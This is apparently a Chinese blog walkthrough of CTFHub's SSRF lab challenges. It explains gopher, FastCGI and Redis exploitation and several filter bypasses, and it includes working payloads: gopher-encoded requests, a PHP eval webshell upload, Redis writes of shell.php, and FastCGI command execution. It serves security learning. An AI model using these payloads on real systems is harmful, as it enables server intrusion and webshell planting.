宣传一波 更好的阅读体验 👉 个人blog
SSRF
SSRF(Server-Side Request Forgery:服务器跨站请求),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击)
攻击者利用了可访问Web服务器(A)的特定功能 构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。
例如
/secret.php
是外网无法访问的http://xxx.xxx/?url=http://127.0.0.1/example.php
,该链接会使用curl构造请求,访问/var/www/html/secret.php
文件,如果配置不当,就可以利用GET参数url
,构造请求访问内网资源- 假如内网的3000端口有管理系统,则可以通过
?url=http://127.0.0.1:3000
进行访问
1.SSRF产生的原因
很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器
SSRF 形成的原因往往是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
2.利用SSRF可以实现的攻击
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
- 攻击运行在内网或本地的应用程序
- 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
- 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
- 下载内网资源(如:利用file协议读取本地文件等)
- 进行跳板
- 无视cdn
- 利用Redis未授权访问,HTTP CRLF注入实现getshell
需要了解的伪协议
file:// 协议
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。http/s协议
作用:
探测内网主机存活、端口开放情况,可以通过访问其它网站确定存活dict协议
作用:
字典服务器协议,访问字典资源,查看端口,操作内网redis访问等Gopher协议
作用:
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
1.内网访问
尝试访问位于127.0.0.1的flag.php吧
这题应该是为了让我们最直观的看SSRF吧,首先进去发现空白,f12看源码也是如此
然后看了眼url,应该是修改参数,这里直接添加
?url=127.0.0.1/flag.php
# 127.0.0.1就是localhost,访问本地
就能获取flag.php,我的理解就是由合法访问的A发起对内部的访问获取资源(外网访问不了内网)
2.伪协议读取文件
尝试去读取一下Web目录下的flag.php吧
0.知识前提
1.伪协议:事实上是其支持的协议与封装协议。而其支持的部分协议有:
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
2.一般在linux服务器的web目录是/var/www/html
1.网站的目录一般都在/var/www/html/,我们由此构造payload:需要打开f12看源码,这里html没有显示是因为注释了
?url=file:///var/www/html/flag.php
这里提一嘴,可以看的文件不仅如此,更可以查看etc/passwd文件,所以知道漏洞的危险了吧😏
/etc/passwd是一个按行记录的文本文件,每行记录一个用户的信息。每行信息内容以6个“:”分隔为7个部分,从左到右依次为用户的名称、登录口令情况、用户ID、所属组ID、用户的全称等其它详细信息、用户的home目录以及用户的默认登录shell。
3.端口扫描
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦
就是暴力一个一个找,这里有两个方法
1.burp
使用Intruder模块经行爆破,记得在爆破点进行add
然后就是去payload进行参数的设置
第一个是类型,选择数字
选择连续还是随机,选sequential
from 8000
to 9000
step:间隔为1
然后启动attack,看长度,一般最长或最短,点击length可以排序
去端口访问就行了
2.python脚本
代码我就先放这里,记得修改url
import requests
url = 'http://challenge-3fca5c04aaab9eb9.sandbox.ctfhub.com:10800/?url=127.0.0.1:'
for index in range(8000, 9001):
#f-string(格式化字符串字面值)
#url_1=f"http://challenge-3fca5c04aaab9eb9.sandbox.ctfhub.com:10800/?url=127.0.0.1:{index}"
#url_1="http://challenge-3fca5c04aaab9eb9.sandbox.ctfhub.com:10800/?url=127.0.0.1:{}".format(index)
url_1 = url + str(index)
res = requests.get(url_1)
print(index, res.text)
4.POST请求
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
前几题还是正常(我认为),这题我是真懵了,看writeup也是看了很久才了解一些
所以说代码审计真的很重要
首先需要知道Gopher协议和curl
Gopher
ssrf万金油----gopher
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
限制:gopher协议在各个编程语言中的使用限制
协议 | PHP | Java | Curl | Perl | asp.net |
---|---|---|---|---|---|
gopher | –wite-curlwrappers且php版本至少5.3 | 小于JDK1.7 | 低版本不支持 | 支持 | 小于版本3 |
在gopher协议中发送HTTP的数据,需要以下三步:
1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议
协议格式
-
gopher://IP:PORT/_+TCP/IP数据
-
例如
-
http请求:
http://127.0.0.1/index.php?test=123
- http请求包
http GET /index.php?test=123 HTTP/1.1 Host: 127.0.0.1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
-
gopher请求:
gopher://127.0.0.1:80/_GET%20index.php?test=123%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%37%34%2e%30%2e%33%37%32%39%2e%31%36%39%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a%0d%0a
- 这是HTTP请求包的url编码
- gopher会访问指定IP(上面是127.0.0.1)的指定端口(上面是80,http默认端口),并传递
_
之后的数据
-
也就是说,如果能使用gopher协议,那么只需要构造我们要用到的协议的请求数据(比如上面的HTTP),就可以实现访问
解题开始
大概看了一遍就能开始了(应该)
下面是我看writeup的总结
首先先用dirsearch扫一下网站看一下有什么文件
我是直接
python dirsearch.py -u url
扫的太慢了(反正我没扫),直接我给出结果,发现有两个文件
/?url=file:///var/www/html/index.php
/?url=file:///var/www/html/flag.php
然后去读源码
index.php:
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
// 初始化一个新的cURL会话,并将返回的会话句柄赋值给变量 $ch。
$ch = curl_init();
//使用 curl_setopt 函数设置cURL会话的选项。
//这里设置了URL选项 (CURLOPT_URL),它指定了要请求的URL。URL从 $_REQUEST['url'] 获取,这通常是一个GET或POST请求中提交的URL。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
//设置是否应返回HTTP头部。这里设置为0,意味着不返回HTTP头部,只返回主体内容。
curl_setopt($ch, CURLOPT_HEADER, 0);
//这个选项指示cURL应遵循 "Location" 头部字段中的重定向。如果设置为1,cURL将自动遵循所有重定向。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
//执行cURL会话。这实际上发送了HTTP请求。
curl_exec($ch);
//关闭cURL会话并释放所有相关资源。
curl_close($ch);
flag.php:
<?php
error_reporting(0);
//$_SERVER["REMOTE_ADDR"] 是一个超全局变量,它存储了访问者的 IP 地址。
//检查访问者的 IP 地址是否不是 "127.0.0.1"。
//如果访问者的 IP 地址不是 "127.0.0.1",这行代码会输出 "Just View From 127.0.0.1"。
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
//从环境变量 "CTFHUB" 中获取值,并将其存储在变量 $flag 中。环境变量是在操作系统级别设置的,并且可以通过 PHP 的 getenv 函数访问。
$flag=getenv("CTFHUB");
//将 $flag 的值传递给 PHP 的 md5 函数,该函数会返回 $flag 的 MD5 哈希值,并将结果存储在 $key 变量中。
$key = md5($flag);
//这行代码检查是否有一个名为 "key" 的 POST 参数,并且该参数的值是否与 $key 相等。
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
其实就是告诉我们如果要访问访问flag.php,我们必须要从本地访问并且需要附带正确的key
所以我们直接带上本地地址去访问flag.php
?url=127.0.0.1/flag.php
f12后可以找到key
看来应该是让我们输入这个key进入,从而得到flag,但是这里并没有提交的按钮啊,所以我们要自己构造post请求,将这个key发送过去。
然后,我们用gopher协议构造post请求。
在gopher协议中发送HTTP的数据,需要以下三步:
1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议
1.构造HTTP数据包(POST)
在使用 Gopher协议发送 POST请求包时,Host
、Content-Type
和Content-Length
请求头是必不可少的,但在 GET请求中可以没有。(提一嘴key的长度是你附带数据的字符串长度,但是应该都是36)
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=你的key
2.URL编码、替换回车换行为%0d%0a
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl
功能时,进行第二次 URL解码。
所以我们需要对构造的请求包进行两次 URL编码:
这里给个工具在线URL解码编码工具_蛙蛙工具 (iamwawa.cn)
注意!!!:在第一次编码后的数据中,将%0A
全部替换为%0D%0A
。因为 Gopher协议包含的请求数据包中,可能包含有=
、&
等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%
后的字节当做普通字节。
再进行第二次 URL编码得到如下 Gopher请求内容:
因为flag.php
中的$_SERVER["REMOTE_ADDR"]
无法绕过,只能通过index.php
页面中的curl
功能向目标发送 POST请求(没看懂,有大佬懂请告知),构造如下Payload:
#80是默认http端口
#_POST 是一个占位符,用于指示这是一个POST请求。在实际使用中,这个占位符会被具体的请求路径所替代。
***10800/?url=gopher://127.0.0.1:80/_POST.....
输入到网址,flag在最后面
脚本
为了url编码方便,我去找了个脚本
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=e01fdff5c126356cb64cf2436f8c7704
"""
#注意后面一定要有回车,回车结尾表示http请求结束
#urllib.parse.quote()函数对payload进行URL编码。这是为了确保其中的特殊字符(如空格、标点符号等)在URL中正确传输。
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
# 二次编码
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
在”“”和”“”中间换成你的POST数据包就行了,运行文件后自动生成gopher:.....
,写在?/url=goph....
就行了
彩蛋
在***10800/flag.php
页面里面,看源码主要是为了伪装成本地访问,用burp抓包,修改host,并且附带key,就能触发彩蛋(右边返回的数据写着你发找到了Skill Egg Flag)
返回的页面伪装成这个样子
5.上传文件
这次需要上传一个文件到flag.php了.祝你好运
其实和上一题差不多,这是这题多了个上传文件的操作。
老样子对目录用dirsearch扫发现flag.php和index.php
需要注意的是flag.php的源码的意思需要127.0.0.1访问,并且如果上传文件,就能返回flag
然后去
/?url=127.0.0.1/flag.php
发现没有上传文件的按钮,这里其实前端修改一下就行了
<input type="submit" name="submit">
然后用burp拦截包,记得把host改成127.0.0.1:80
(好像不用端口80也行)
把包的内容用我们上一题的脚本运行
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------188096258926377729394142365703
Content-Length: 264
Origin: http://challenge-44de14acddfd51b9.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-44de14acddfd51b9.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------188096258926377729394142365703
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php @eval($_POST["shell"]);?>
-----------------------------188096258926377729394142365703--
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
把输出的内容输入到url里面就能返回flag了
6.FastCGI协议
这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助
这里我必须详细介绍一下FastCGI
FastCGI详解
在用PHP开发的过程中,我们常常使用Nginx或者Apache作为我们的Web服务器。但是PHP是如何与这些Web服务器通信的呢?
- Apache把PHP作为一个模块集成到Apache进程(httpd)运行,这种mod_php的运行模式与PHP-CGI没有任何关系。
- Nginx是通过
PHP-FPM
(PHP-FPM实现了FastCGI
协议)来实现与PHP的通信。
要谈FastCGI就必须先说说CGI。那什么是CGI?
CGI(
Common Gateway Interface:通用网关接口
)是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。CGI 应用程序能与浏览器进行交互,还可通过数据库API 与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。–百度百科
CGI协议
同 HTTP 协议一样是一个「应用层」协议,它的 功能 是为了解决 Web 服务器与 PHP 应用(或其他 Web 应用)之间的通信问题。
既然它是一个「协议」,换言之它与语言无关,即只要是实现类 CGI 协议的应用就能够实现相互的通信。
CGI协议的运行原理
- 当用户访问我们的 Web 应用时,会发起一个 HTTP 请求。最终 Web 服务器接收到这个请求。
- Web 服务器创建一个新的 CGI 进程。在这个进程中,将 HTTP 请求数据已一定格式解析出来,并通过标准输入和环境变量传入到 URL 指定的 CGI 程序(PHP 应用 $_SERVER)。
- Web 应用程序处理完成后将返回数据写入到标准输出中,Web 服务器进程则从标准输出流中读取到响应,并采用 HTTP 协议返回给用户响应。
一句话就是 Web 服务器中的 CGI 进程将接收到的 HTTP 请求数据读取到环境变量中,通过标准输入转发给 PHP 的 CGI 程序;当 PHP 程序处理完成后,Web 服务器中的 CGI 进程从标准输出中读取返回数据,并转换回 HTTP 响应消息格式,最终将页面呈献给用户。然后 Web 服务器关闭掉这个 CGI 进程。
可以说 CGI 协议特别擅长处理 Web 服务器和 Web 应用的通信问题。然而,它有一个严重缺陷,对于每个请求都需要重新 fork 出一个 CGI 进程,处理完成后立即关闭。
CGI协议的缺陷
- 每次处理用户请求,都需要重新 fork CGI 子进程、销毁 CGI 子进程。
- 一系列的 I/O 开销降低了网络的吞吐量,造成了资源的浪费,在大并发时会产生严重的性能问题。
路由/结构图
# 访问url --> 浏览器生成HTTP请求报文 --> web server解析请求(例如nginx)
web server 是内容的分发者
当访问静态页面时,web server 会直接返回资源,例如index.html
当访问动态页面时,web server 会调用解析器,例如index.php
# --> 访问CGI
# --> CGI初始化环境,加载配置,处理请求,返回资源,结束进程 (每次处理请求后都会销毁进程,浪费资源)
旧版本的CGI性能低下,无法应用在高并发的场景,FastCGI应运而生
FastCGI协议
从功能上来讲,CGI
协议已经完全能够解决 Web 服务器与 Web 应用之间的数据通信问题。但是由于每个请求都需要重新 fork 出 CGI 子进程导致性能堪忧,所以基于 CGI
协议的基础上做了改进便有了 FastCGI
协议,它是一种常驻型的 CGI 协议。
本质上来将 FastCGI 和 CGI 协议几乎完全一样,它们都可以从 Web 服务器里接收到相同的数据,不同之处在于采取了不同的通信方式。
再来回顾一下 CGI 协议每次接收到 HTTP 请求时,都需要经历 fork 出 CGI 子进程、执行处理并销毁 CGI 子进程这一系列工作。
而 FastCGI
协议采用 进程间通信(IPC) 来处理用户的请求。
FastCGI也是一种通信协议(类似HTTP协议),采用CS架构,web server 为客户端—发送请求,动态语言解析器 为服务端—处理请求
路由/结构图
# 访问url --> 浏览器生成HTTP请求报文 --> web server解析请求(例如nginx)
当访问index.php时,web server 会把HTTP请求转换为FastCGI请求
# --> 转换为FastCGI协议格式
并发送给解析器,这里以php为例
# --> 发送至php-fpm process manager
php-fpm接收到请求后,把请求分配给一个worker,worker就是一个解析服务的进程(一直运行),worker根据请求信息,解析php,返回页面
例如,招新平台运行了15个worker,(不考虑nginx处理时间)同时可以处理15个请求
# --> php-fpm解析并响应
对比图:
FastCGI报文格式
定义
typedef struct {
unsigned char version; //版本
unsigned char type; //类型
unsigned char requestIdB1; //请求Id
unsigned char requestIdB0;
unsigned char contentLengthB1; //负载长度
unsigned char contentLengthB0;
unsigned char paddingLength; //填充长度
unsigned char reserved; //保留字节
unsigned char contentData[contentLength]; //负载数据
unsigned char paddingData[paddingLength]; //填充数据
} FCGI_Record;
构造出的执行ls /
命令的FastCGI请求( 调整过格式,不标准)
CONTENT_LENGTH 34 # 内容长度
CONTENT_TYPE application/text # 内容格式
REMOTE_PORT 9985 # 请求端口
SERVER_NAME localhost # server名
GATEWAY_INTERFACE FastCGI/1.0 # API
SERVER_SOFTWARE php/fcgiclient # server端 软件
REMOTE_ADDR 127.0.0.1 # 请求ip
SCRIPT_FILENAME /var/www/html/index.php # 脚本文件名
SCRIPT_NAME /var/www/html/index.php # 脚本名
PHP_VALUE auto_prepend_file = php://input
REQUEST_METHOD POST # 请求方法
SERVER_PORT 8 # server端口
SERVER_PROTOCOL HTTP/1.1 # server 协议
QUERYDOCUMENT_ROOT / # 请求文件根目录
IN_VALUE allow_url_include = On # 设置 允许url包含
SERVER_ADDR 127.0.0.1 # server ip
REQUEST_URI /var/www/html/index.php # 请求资源
"<?php var_dump(system('ls /')); ?>" # 内容
参考资料
真的写的很详细CGI 和 FastCGI 协议的运行原理
然后这个是题目给的附件地址Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写-CSDN博客
通用网关接口-FastCGI介绍 - 知乎 (zhihu.com)
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写-CSDN博客
SSRF_FastCGI - R3col - 博客园 (cnblogs.com)
1.Gopherus
使用条件:
- libcurl版本>=7.45.0
- PHP-FPM监听端口
- PHP-FPM版本 >= 5.3.3
- 知道服务器上任意一个php文件的绝对路径
我是先访问了各种网站都没有反应
没办法了,只能根据提示攻击FastCGI了
用Gopherus,输入指令
python2 gopherus.py --exploit fastcgi
然后提示你给出一个应该存在于服务器中的文件名(最好是.php文件)
如果你不知道,按回车键,他们有默认的(我试过他的不行)
我事先用dirsearch扫过,什么都没扫出来。。。
没办法,看writeup用的是index.php,这里填这个就行了
然后提示你输入Terminal command to run
,要运行的终端命令
这里我先用ls
,会出现payload,但是这个payload需要再次编码
这里给出脚本
import urllib.parse
payload = "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
tmp = urllib.parse.quote(payload)
print(tmp)
改成你的payload就行了,再把编译后的payload输入到?/url=
后面就行了
确实显示了index.php文件
步骤一样重复使用Gopherus然后去把终端命令改成ls /
即根目录
看到了flag文件,步骤一样重复使用Gopherus把终端命令改成cat /flag***
文件就能看到flag了
2.蚁剑
其实主要还是用gohperus,步骤一样,把终端命令改成生成一个一句话木马文件就行了
echo "<?php eval(\$_POST[123]);?>" >1.php
生成完文件后页面会是这样
然后用蚁剑连就行了
3.利用nc 和exp
说实话我是觉得挺复杂的,网上挺多writeup的
CTFHub-技能树-SSRF - R3col - 博客园 (cnblogs.com)
7.Redis协议
这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!
这里我还是给出资料
Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis 在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。,也可以直接写入Webshell或者写入计划任务进行反弹shell。
然后就是详情可点击这里浅析Redis中SSRF的利用 - 先知社区 (aliyun.com)
这题其实和上一题差不多,只是攻击对象从FastCGI改成了Redis
还是得用神器Gopherus上传WebShell
在Gopherus使用指令
python2 gopherus.py --exploit redis
提示你选择(ReverseShell/PHPShell),这里选择PHPShell
- Reverse Shell是通过远程服务器发送反向连接实现的,攻击者需要在目标系统上植入恶意代码并等待连接。而PHPShell则是通过在Web服务器上上传恶意PHPShell文件实现的,攻击者可以通过Web浏览器访问该文件来获取Shell。
- Reverse Shell的目的是为了获取对目标系统的远程控制权,攻击者可以通过它执行任意命令。而PHPShell通常用于上传、下载、执行文件,以及获取系统信息等,目的通常是为了进一步入侵或数据窃取。
然后还是提示你
Give web root location of server (default is /var/www/html):
给出一个给出服务器的web根位置(默认为/var/www/html):
这里默认就行了
然后给出PHPShell
<?php eval(_POST["shell"])?>
最后提示你
When it’s done you can get PHP Shell in /shell.php at the server with cmd
as parmeter.
(当它完成后,你可以在服务器上以’ cmd ‘作为参数在/ Shell . PHP中获得PHP Shell。)
还是得记得把payload编译一次,还是上面的脚本
import urllib.parse
payload = "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22shell%22%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
tmp = urllib.parse.quote(payload)
print(tmp)
把得到的payload写入url中,慢慢等,最后提示你超时,没什么问题其实已经上传成功了
有意思的是我一开始就在用dirsearch扫,这里扫出来了
使用蚁剑
8.URL Bypass
从本题目开始,将介绍SSRF漏洞利用时的各种绕过方法。
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
就是输入路径必须包含http://notfound.ctfhub.com,绕过这个限制就可以了
有三个方案(准确来说是两个)
- 使用HTTP基础认证
HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
也就是:http://www.xxx.com@www.yyy.com
形式简单来说,就是http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容。
这里的@是主域名解析,即@符号后面直接跟域名,@符号前面的内容会被视为用户名,相当于以http://baidu.com的用户名访问192.168.0.1/flag.php,至于用户名是啥不重要,关键是@后面的才是解析的地址!
- payload:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
- 使用nip.io
.nip.io
是一个特殊的域名后缀,它提供了一种免费且简便的方式,可以将特定格式的域名解析为对应的IP地址,可以作为应用路由的解析服务。这省去了配置本地hosts文件的步骤。例如,当访问
http://<anything>-<IP Address>.nip.io
时,它将解析到对应的IP地址<IP Address>
。
- payload:
?url=http://notfound.ctfhub.com.127.0.0.1.nip.io/flag.php
- 利用
xip.io
(可以直接访问该域名,里面有详细说明)
.xip.io
的功能是将notfound.ctfhub.com
这个子域名解析到本地机器的IP地址127.0.0.1
。
- 尝试发现,
xip.io
被ban了
至于为什么要访问flag.php....因为上面的题目flag都是在这里(应该)
9.数字IP Bypass
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
不能使用十进制,我们还有八进制,十六进制(^_^),因为只ban了
1.ip转int(十进制)
127.0.0.1 -> 2130706433
2.十六进制
3.八进制
4.或者用其他指向127.0.0.1的地址都行,比如localhost、http://0/等
10.302跳转 Bypass
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
先去看看index.php和flag.php源码
发现其实并没有ban localhost,直接用就行了
hhh,这题是302跳转,需要借助vps或者云服务器,在上面写一个可以用ip访问的文件,
<?php
if(isset($_GET['url'])){
header("Location: {$_GET['url']}");
exit;
}
?>
然后访问vps上的脚本,跳转回去即可
?url=http://IP:PORT/302.php?url=http://127.0.0.1/flag.php
11.DNS重绑定 Bypass
DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助
附件地址:https://zhuanlan.zhihu.com/p/89426041
DNS重绑定DNS Rebinding攻击在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。
放到这个题目的环境上来看,我们使用各种方法想来实现绕过,但是都无法访问,既然如此我们使用DNS重绑定,从DNS域名解析入手,有一个想法就是通过修该域名对应的IP,使一个域名对应两个IP,那么在多次的访问之下产生的访问效果是一样的实现IP绕过。
不小心试了下localhost直接有了。。。
应该出题人忘记改了吧
不过我换0/index.php
不行
老样子各个url访问一次
解题思路应该是用DNS重绑定,我们在此做一个详解。
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass过滤掉.
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击,利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:
1、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
2、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
3、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址
4、由于已经绕过验证,所以服务器端返回访问内网资源的结果
